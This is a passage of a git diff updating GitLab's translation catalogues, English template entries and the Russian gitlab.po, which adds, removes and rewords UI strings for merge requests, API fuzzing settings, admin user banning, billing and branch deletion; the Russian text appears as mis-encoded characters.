+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -38152,6 +38920,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38230,7 +39001,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38332,6 +39103,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38392,9 +39166,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38422,10 +39193,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38467,9 +39235,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38485,12 +39250,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38899,6 +39670,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -39022,6 +39799,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/ru/gitlab.po b/locale/ru/gitlab.po
index a3b37ea4402..417a7508232 100644
--- a/locale/ru/gitlab.po
+++ b/locale/ru/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ru\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:24\n"
+"PO-Revision-Date: 2021-06-01 20:46\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -341,6 +341,13 @@ msgstr[1] "%d обÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ ÑƒÑпешно импортированы Ñ
msgstr[2] "%d обÑуждений уÑпешно импортированы Ñ Ð¼ÐµÑ‚ÐºÐ¾Ð¹"
msgstr[3] "%d обÑуждений уÑпешно импортированы Ñ Ð¼ÐµÑ‚ÐºÐ¾Ð¹"
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d Ñлой"
@@ -685,9 +692,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr "%{group_docs_link_start}Группы%{group_docs_link_end} позволÑÑŽÑ‚ управлÑÑ‚ÑŒ неÑколькими проектами и Ñотрудничать Ñ Ð½Ð¸Ð¼Ð¸. Члены группы имеют доÑтуп ко вÑем ее проектам."
-
msgid "%{group_name} activity"
msgstr ""
@@ -790,10 +794,10 @@ msgstr "%{link_start}Узнайте больше%{link_end} о том, какаÑ
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr "%{link_start}Подробнее%{link_end} о ролевом доÑтупе"
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -936,6 +940,12 @@ msgstr "%{reportType} не обнаружено %{totalStart} ни одной %{
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr "%{seconds}Ñ"
@@ -989,9 +999,6 @@ msgstr "%{state} цели"
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr "%{strongStart}УдалÑет%{strongEnd} иÑходную ветку"
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr "%{strongStart}Примечание:%{strongEnd} ПоÑле Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÑŒÑкого Ñтапа вы можете изменить порÑдок Ñтапов, перетаÑÐºÐ¸Ð²Ð°Ñ Ð¸Ñ… в нужное положение."
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1120,9 +1127,15 @@ msgstr "%{userName}(не может выполнÑÑ‚ÑŒ ÑлиÑние)"
msgid "%{userName}'s avatar"
msgstr "Ðватар %{userName}"
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr "Ñтраница Ð¿Ñ€Ð¾Ñ„Ð¸Ð»Ñ %{user_name}"
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1186,9 +1199,6 @@ msgstr "Поток ценноÑти '%{name}' удалён"
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr "Этап '%{name}' уже ÑущеÑтвует"
-
msgid "'%{source}' is not a import source"
msgstr "'%{source}' не ÑвлÑетÑÑ Ð¸Ñточником импорта"
@@ -1572,6 +1582,9 @@ msgstr "SSL Ñертификат Let's Encrypt не может быть полу
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr "Ð£Ñ‡Ñ‘Ñ‚Ð½Ð°Ñ Ð·Ð°Ð¿Ð¸ÑÑŒ Let's Encrypt будет наÑтроена Ð´Ð»Ñ Ð´Ð°Ð½Ð½Ð¾Ð¹ уÑтановки GitLab Ñ Ð¸Ñпользованием адреÑа вашей Ñлектронной почты. Ð’Ñ‹ получите Ñлектронное пиÑьмо Ñ Ð¿Ñ€ÐµÐ´ÑƒÐ¿Ñ€ÐµÐ¶Ð´ÐµÐ½Ð¸ÐµÐ¼ об иÑтечении Ñрока дейÑÑ‚Ð²Ð¸Ñ Ñертификатов."
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr "ОÑÐ½Ð¾Ð²Ð½Ð°Ñ Ñтраница и беÑÑÐµÑ€Ð²ÐµÑ€Ð½Ð°Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ, иÑпользующие AWS Lambda, AWS API Gateway, и GitLab Pages"
@@ -1593,6 +1606,9 @@ msgstr "Удаленный пользователь"
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr "Файл был изменён."
@@ -1662,9 +1678,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr "Ð’ проекте вы размещаете Ñвои файлы (репозиторий), планируете Ñвою работу (обÑуждениÑ), и публикуете документацию (wiki), %{among_other_things_link}."
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1677,6 +1690,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr "Токен безопаÑноÑти, который идентифицирует Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð²Ð½ÐµÑˆÐ½ÐµÐ³Ð¾ хранилища."
@@ -1722,9 +1738,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1764,30 +1777,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1803,7 +1810,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1830,6 +1837,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr "Ключ доÑтупа AWS"
@@ -2097,6 +2113,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr "Добавить маркированный ÑпиÑок"
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2373,6 +2392,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr "Панель управлениÑ"
@@ -2538,9 +2560,6 @@ msgstr "Переменные Ð¾ÐºÑ€ÑƒÐ¶ÐµÐ½Ð¸Ñ Ð·Ð°Ñ‰Ð¸Ñ‰ÐµÐ½Ñ‹ по умолч
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr "Перейти к общим наÑтройкам"
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2553,9 +2572,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr "Ðе требуетÑÑ ÑÐ±Ð¾Ñ€Ð¾Ñ‡Ð½Ð°Ñ Ð»Ð¸Ð½Ð¸Ñ"
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr "Ð¢Ñ€ÐµÐ±ÑƒÐµÐ¼Ð°Ñ ÐºÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ Ñборочной линии"
@@ -2580,9 +2596,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr "УÑтановить автоматичеÑкую включенную %{link_start}конфигурацию Ñборочной линии%{link_end} Ð´Ð»Ñ Ð²Ñего ÑкземплÑра. Эта ÐºÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ Ñборочной линии будет запуÑкатьÑÑ Ð¿Ð¾Ñле ÑобÑтвенной конфигурации проекта."
-msgid "AdminSettings|Some settings have moved"
-msgstr "Ðекоторые наÑтройки были перемещены"
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "Укажите домен, который будет иÑпользоватьÑÑ Ð¿Ð¾ умолчанию в приложениÑÑ… Auto Review, а также на Ñтапе автоматичеÑкого Ñ€Ð°Ð·Ð²ÐµÑ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ из проектов."
@@ -2628,6 +2641,9 @@ msgstr "Сниппеты"
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2646,6 +2662,9 @@ msgstr "2FA отключена"
msgid "AdminUsers|2FA Enabled"
msgstr "2FA включена"
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2694,6 +2713,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2724,6 +2758,9 @@ msgstr "Ðе удалоÑÑŒ разблокировать заблокироваÐ
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr "Отключить"
@@ -2778,6 +2815,9 @@ msgstr "ИÑпользует меÑто"
msgid "AdminUsers|It's you!"
msgstr "Это вы!"
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2859,6 +2899,15 @@ msgstr "Ð”Ð»Ñ Ð¿Ð¾Ð´Ñ‚Ð²ÐµÑ€Ð¶Ð´ÐµÐ½Ð¸Ñ, введите %{projectName}"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "Ð”Ð»Ñ Ð¿Ð¾Ð´Ñ‚Ð²ÐµÑ€Ð¶Ð´ÐµÐ½Ð¸Ñ, введите %{username}"
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2874,6 +2923,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr "Пользователь не Ñможет получить доÑтуп к репозиториÑм git"
@@ -2886,6 +2941,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2910,6 +2968,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr "Ð’Ñ‹ ÑобираетеÑÑŒ окончательно удалить Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ %{username}. Это удалит вÑе его обÑуждениÑ, запроÑÑ‹ ÑлиÑÐ½Ð¸Ñ Ð¸ ÑвÑзанные Ñ Ð½Ð¸Ð¼Ð¸ группы. Чтобы избежать потери данных, раÑÑмотрите возможноÑÑ‚ÑŒ иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ %{strongStart}блокировки пользователÑ%{strongEnd}. ПоÑле %{strongStart}ÑƒÐ´Ð°Ð»ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ%{strongEnd}, Ð½ÐµÐ»ÑŒÐ·Ñ Ð±ÑƒÐ´ÐµÑ‚ его воÑÑтановить или отменить удаление."
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2922,6 +2983,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2967,9 +3031,6 @@ msgstr "РаÑширенные"
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr "Дополнительные наÑтройки"
@@ -3010,9 +3071,6 @@ msgstr[1] "ОповещениÑ"
msgstr[2] "Оповещений"
msgstr[3] "Оповещений"
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr "Прочитано"
@@ -3382,9 +3440,6 @@ msgstr "Ð’Ñе окружениÑ"
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr "Ð’Ñе функции ÑиÑтемы включаютÑÑ Ð´Ð»Ñ Ð¿ÑƒÑÑ‚Ñ‹Ñ… проектов, Ñозданных из шаблонов или импортированных, но вы можете отключить их впоÑледÑтвии в наÑтройках проекта."
-
msgid "All groups and projects"
msgstr "Ð’Ñе группы и проекты"
@@ -3487,6 +3542,9 @@ msgstr "Разрешено"
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr "Разрешено ограничение доменов Ñлектронной почты только Ð´Ð»Ñ Ð³Ñ€ÑƒÐ¿Ð¿ верхнего уровнÑ"
@@ -3700,6 +3758,9 @@ msgstr "Произошла ошибка при получении цветов Ð
msgid "An error occurred while fetching markdown preview"
msgstr "Произошла ошибка при предварительном проÑмотре markdown"
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3793,9 +3854,6 @@ msgstr "Произошла ошибка при загрузке обÑужден
msgid "An error occurred while loading merge requests."
msgstr "Произошла ошибка при загрузке запроÑов на ÑлиÑние."
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3865,7 +3923,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr "Произошла ошибка при переназначении задач."
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4346,6 +4404,9 @@ msgstr "Утверждающий"
msgid "Approvers"
msgstr "Утверждающие"
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr "Ðпр."
@@ -4376,16 +4437,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr "Ðрхивный проект! Репозиторий и другие реÑурÑÑ‹ проекта доÑтупны только Ð´Ð»Ñ Ñ‡Ñ‚ÐµÐ½Ð¸Ñ"
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr "Ðрхивный проект! Репозиторий и другие реÑурÑÑ‹ проекта доÑтупны только Ð´Ð»Ñ Ñ‡Ñ‚ÐµÐ½Ð¸Ñ"
msgid "Archived projects"
msgstr "Ðрхивные проекты"
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4970,7 +5028,7 @@ msgstr "ÐвтоматичеÑкое управление Ñертификата
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -5039,6 +5097,9 @@ msgstr "Цвет Фона"
msgid "Background Jobs"
msgstr "Фоновые заданиÑ"
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr "Цвет фона"
@@ -5195,6 +5256,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -5213,6 +5277,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr "Узнайте больше о каждом тарифе, поÑетив нашу %{pricing_page_link}."
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr "Управление тарифным планом"
@@ -5228,6 +5295,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr "Ð”Ð»Ñ ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñ‚Ð°Ñ€Ð¸Ñ„Ð½Ñ‹Ð¼ планом Ñтой группы поÑетите раздел тарификации %{parent_billing_page_link}."
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5246,6 +5316,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr "чаÑто задаваемые вопроÑÑ‹"
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr "ежемеÑÑчно"
@@ -5261,6 +5334,27 @@ msgstr "Улучшить"
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5273,6 +5367,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5282,6 +5379,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5516,6 +5619,9 @@ msgstr "Ðктивные ветки"
msgid "Branches|All"
msgstr "Ð’Ñе"
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr "Ðевозможно найти HEAD-коммит Ñтой ветки"
@@ -5528,6 +5634,9 @@ msgstr "Удалить вÑе ветки, влитые в '%{default_branch}'"
msgid "Branches|Delete branch"
msgstr "Удалить ветку"
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr "Удалить влитые ветки"
@@ -5537,6 +5646,12 @@ msgstr "Удалить защищённую ветку"
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr "Удалить защищённую ветку '%{branch_name}'?"
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr "Удаление ветки '%{branch_name}' невозможно отменить. Вы уверены?"
@@ -5558,12 +5673,18 @@ msgstr "Ðет веток Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ"
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr "Как только вы подтвердите и нажмёте %{delete_protected_branch}, данные будут удалены без возможноÑти воÑÑтановлениÑ."
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr "Только Ñопровождающий проект или владелец может удалить защищенную ветвь"
msgid "Branches|Overview"
msgstr "Обзор"
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr "Управление защищёнными ветками возможно в %{project_settings_link}."
@@ -5597,6 +5718,9 @@ msgstr "Ветка не может быть обновлена автоматиÑ
msgid "Branches|The default branch cannot be deleted"
msgstr "Ветка \"по умолчанию\" не может быть удалена"
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr "Эта ветка не может быть влита в %{default_branch}."
@@ -5609,6 +5733,18 @@ msgstr "Ð”Ð»Ñ Ð¿Ð¾Ð´Ñ‚Ð²ÐµÑ€Ð¶Ð´ÐµÐ½Ð¸Ñ, введите %{branch_name_confirma
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr "Чтобы отменить локальные Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð¸ перезапиÑать ветку верÑией из родительÑкого репозиториÑ, удалите её здеÑÑŒ и выберите \"Обновить ÑейчаÑ\" выше."
